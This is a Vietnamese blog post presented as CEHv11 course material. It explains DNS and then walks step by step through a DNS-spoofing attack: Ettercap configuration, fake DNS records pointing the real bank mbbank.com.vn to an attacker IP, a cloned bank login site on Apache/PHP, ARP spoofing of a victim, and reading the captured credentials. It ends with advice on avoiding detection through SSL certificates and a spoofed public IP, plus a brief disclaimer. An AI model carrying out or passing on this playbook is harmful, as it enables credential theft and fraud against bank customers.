CEHv11 Module 13 Hacking Web Servers

0
80

Trước tiên ta sẽ tìm hiểu về DNS là gì

DNS (Domain Name System – hệ thống phân giải tên miền) là một hệ thống giúp con người và máy tính giao tiếp dễ dàng hơn. Con người sử dụng tên, còn máy tính sử dụng số, DNS chính là một hệ thống giúp biên dịch tên hostname (tên miền) thành số để máy tính có thể hiểu được.

Cơ bản, DNS là một hệ thống cơ sở dữ liệu giúp biên dịch tên website thành địa chỉ IP. Thông tin của từng tên miền ứng với địa chỉ IP nào được ghi lại trong một “thư viện danh bạ”, và thư viện này được lưu trên các server tên miền.

DNS hoạt động như thế nào?

DNS hoạt động theo từng bước theo cấu trúc của DNS. Bước đầu tiên gọi là DNS query, một truy vấn để lấy thông tin.

Chúng tôi sử dụng tình huống tìm kiếm website bằng cách gõ tên miền vào trong web browser (ví dụ, www.google.com). Đầu tiên, DNS server sẽ tìm thông tin phân giải trong filehosts – một file text trong hệ điều hành chịu trách nhiệm chuyển hostname thành địa chỉ IP. Nếu không thấy thông tin, nó sẽ tìm trọng cache – bộ nhớ tạm của phần cứng hay phần mềm. Nơi phổ biến nhất lưu thông tin cache này là  bộ nhớ tạm của trình duyệt và bộ nhớ tạm của Internet Service Providers (ISP). Nếu không nhận được thông tin, bạn sẽ thấy mã lỗi hiện lên.

Tổng cộng có khoảng 4 loại server tham gia vào trong hệ thống phân giải tên miền

DNS Recursor

DNS recursor là server đóng vai trò liên lạc với các server khác để thay nó làm nhiệm vụ phản hồi cho client (trình duyệt người dùng). Nó như một nhân viên cần mẫn nhận nhiệm vụ lấy và trả thông tin cho client (trình duyệt) để tìm đúng thông tin chúng cần. Để lấy được thông tin, DNS recursor có thể sẽ cần gọi đến Root DNS Server để trợ giúp.

Root Nameserver

Root DNS Server, cũng thường được gọi là nameserver, là server quan trọng nhất trong hệ thống cấp bậc của DNS. Nó không có tên cụ thể. Bạn có thể hiểu nó là một thư viện để định hướng tìm kiếm giúp bạn.

Trên thực tế, DNS recursive resolver sẽ chuyển yêu cầu tới Root Nameserver. Sau đó, server này sẽ phản hồi rằng nó cần tìm trong các top-level domain name servers (TLD nameserver) cụ thể nào.

TLD Nameserver

Khi bạn muốn truy cập Google hay Facebook, thường phần mở rộng của bạn sẽ dùng là .com. Nó là một trong các top-level domain. Server cho loại top-level domain này gọi là TLD nameserver. Nó chịu trách nhiệm quản lý toàn bộ thông tin của một phần mở rộng tên miền chung.

Ví dụ như khi bạn gõ www.google.com trên trình duyệt, TLD .com sẽ phản hồi từ một DNS resolver để giới thiệu cho nó một Authoritative DNS server. Authoritative Name Server là nơi chính thức chứa nguồn dữ liệu của tên miền đó.

Authoritative Nameserver

Khi một DNS resolver tìm thấy một authoritative nameserver, đây là việc phân giải tên miền diễn ra. Authoritative nameserver có chứa thông tin tên miền gắn với địa chỉ nào. Nó sẽ đưa cho recursive resolver địa chỉ IP cần thiết tìm thấy trong danh mục các bản ghi của nó.

DNS Spoofing là gì?

Có rất ít dấu hiệu để nhận biết DNS Spoofing. Trong các cuộc tấn công lớn, người dùng sẽ không thể biết rằng mình đang bị lừa nhập các thông tin quan trọng vào một trang web giả mạo cho đến khi ngân hàng gọi cho bạn và hỏi “Tại sao lại rút nhiều tiền đến vậy?”.

DNS Spoofing (tên tiếng anh là DNS cache poisoning) là một hình thức hack bảo mật máy tính trong đó dữ liệu hệ thống tên miền bị hỏng được đưa vào bộ đệm của trình phân giải DNS , khiến máy chủ tên trả về bản ghi kết quả không chính xác. Điều này dẫn đến lưu lượng truy cập được chuyển hướng đến máy tính của kẻ tấn công (hoặc bất kỳ máy tính nào khác).

Khi đó, người dùng truy cập đến địa chỉ mong muốn nhưng sẽ được gửi đến một địa chỉ IP giả mạo. Địa chỉ IP giả mạo này đã được kẻ tấn công tạo ra trước đó với mục đích ăn cắp thông tin tài khoản ngân hàng của người dùng.

Quá trình tấn công DNS spoofing

Sơ đồ tấn công

Cách tấn công:

B1: Hacker sử dụng kĩ thuật giả lập DNS server để đầu độc máy vittim

B2: Hacker cài đặt mã nguồn website giả mạo bằng apache2 và phpmysql

B3: Hacker sẽ tạo một trang web giả mạo giống website của ngân hàng

B4: Hacker sử dụng kĩ thuật Network Scanning để dò tìm tất cả các ip, MAC trong mạng

B5: Hacker lựa chọn mục tiêu, tấn công MITM bằng cách sử dụng ARP spoofing để đầu độc ARP cache

B6: Victim khi truy cập vào website sẽ bị chuyển hướng đến website giả mạo của Hacker

B7: Victim đăng nhập tài khoản, mật khẩu sẽ bị Hacker lấy hết thông tin.

B8: Hacker tìm thông tin mà đã đầu độc máy vittim

Lab chuẩn bị:

Hacker: Kali linux 2019.3 trở lên, đã update, có cài Ettercap 0.8.3 trở lên

Victim: Windows 10 update bản mới nhất 20h2 , Chrome update bản mới nhất.

B1: Hacker sử dụng kĩ thuật giả lập DNS server để đầu độc máy vittim

su root
cd /etc/ettercap
ls
vi etter.conf

nhập :set nu để đánh số ký tự đầu dòng, tìm đến dòng 16, 17. thay đổi chỉ số
ec_uid = 65535 thành ec_uid = 0
ec_hid = 65535 thành ec_hid =

Bấm ESC, : x đề thoát

Vào File etter.dns để cấu hình domain giả lập
vi etter.dns

nhập :set nu để đánh số ký tự đầu dòng, tìm đến dòng 59, 60, 61 thêm thông số sau:
mbbank.com.vn     A     172.10.1.100
*.mbbank.com.vn  A     172.10.1.100
mbbank.com.vn     PTR  172.10.1.100 [TTL]

Bấm ESC, : x đề thoát

Bước 2. Hacker cài đặt mã nguồn website giả mạo bằng apache2 và phpmysql

Hacker sẽ cài đặt gói apache2
apt install apache2 -y

Khởi động dịch vụ apache2
systemctl start apache2

Mở trình duyệt google Chmore để kiểm tra: 172.10.1.100

Cài đặt gói php libapache2-mod-php php-mysql
sudo apt install php libapache2-mod-php php-mysqlCài đặt gói  php-cli
sudo apt install php-cli

B3. Hacker sẽ tạo một trang web giả mạo giống website của ngân hàng

Copy File mbbank vào trong thu mục var/www/html
cp -r /home/kali/Desktop/mb-bank/* .

Cấp quyền thu mục
chmod 777 -R htmlKhởi động lại dịch vụ apache2
systemctl restart apache2

Hacker kiểm tra thử website giả mạo bằng cách vào trình duyệt gõ IP: 172.10.1.100

B4. Hacker sử dụng kĩ thuật Network Scanning để dò tìm tất cả các ip, MAC trong mạng

ettercap -GChọn dấu tích như hình để bắt đầu scaning IP + MAC máy vittim
Chọn dấu 3 chấm –> host –> scan for hostsSau khi scaning IP  xong thì tạm dừng Ettercap lại như hình.Chọn IP máy vittim có IP : 172.10.1.69. add vào Group 1Add IP route vào group 2Chọn –> Plugin –> Manage pluginsDouble click vào dns_spoof

B5: Hacker lựa chọn mục tiêu, tấn công MITM bằng cách sử dụng ARP spoofing để đầu độc ARP cache

Tiếp theo ta sẽ tấn công MITM bằng cách lựa chọn ARP spoofing

Để mặc định để nghe lénTiến hành bắt gói tin từ vittim

Lúc này hacker gửi ARP response liên tục cho nạn nhân, máy nạn nhân sẽ bị đầu độc rằng IP(Hacker) Mac(Gateway). Khi truyền dữ liệu thì hacker có thể nghe lén được.

B6.Victim khi truy cập vào website sẽ bị chuyển hướng đến website giả mạo của Hacker

Trên máy vittim, nhập mbbank.com.vn

B7: Victim đăng nhập tài khoản, mật khẩu sẽ bị Hacker lấy hết thông tin, sau đó sẽ được trả về địa chỉ website mà hacker đặt trước đóB8.Hacker tìm thông tin mà đã đầu độc máy vittim

cd /var/www/html
ls -l
cat tk.txt

Thông tin được hiển thị như sau:

Mật khẩu: TrungThienIT.COM
VerificationCode:
TaiKhoan: admin

Lời khuyên và đầu tư

Theo kinh nghiệm của mình thì nếu nạn nhân để ý thấy trang mbbank.com.vn khi truy cập không có chứng chỉ mã hóa SSL thì dễ bị phát hiện. Như vậy chúng ta phải đầu tư thật kỹ 1 hệ thống chuẩn chu, đã tấn công thì phải làm đến cùng. xây dựng hệ thống cấp phát SSL cho toàn hệ thống chúng ta. 
Tìm hiểu Triển khai SSL/TLS và giao thức https với Open SSL và Let’s Encrypt

Thứ 2 là đổi IP nội bộ thành IP public giống bên mbbank.com.vn [ 103.12.104.72 ] nghĩa là thay đổi IP khác IP private. như vậy vittim cũng khó mà phát hiện.

Trên đây là bài hướng dẫn về cách DNS Spoofing trong phần CEHv11. các bạn suy nghĩ thật kỹ trước khi làm. Mình nhắc lại, đây là bài tham khảo không có ý định hướng dẫn ý xấu.
Cám ơn các bạn đã đọc.

 

bài báo trướcCEH v11 Module 03 Scanning Networks
Tôi là Nguyễn Trung Thiện, với mục đích lập website là chia sẽ kinh nghiệm cũng như đúc kết kiến thức của bản thân mình đã học và chia sẽ đến mọi người cùng biết, với Phương châm " Chia sẽ kinh nghiệm - Chạm để cảm nhận ". Certifation: MCSA, MCSE, CEH, CCNA_R & S, CCNA_VOICE, VMWARE VSPHERE , LPI, Troubleshotting.

ĐỂ LẠI TRẢ LỜI

Vui lòng nhập bình luận của bạn!
Vui lòng nhập tên của bạn ở đây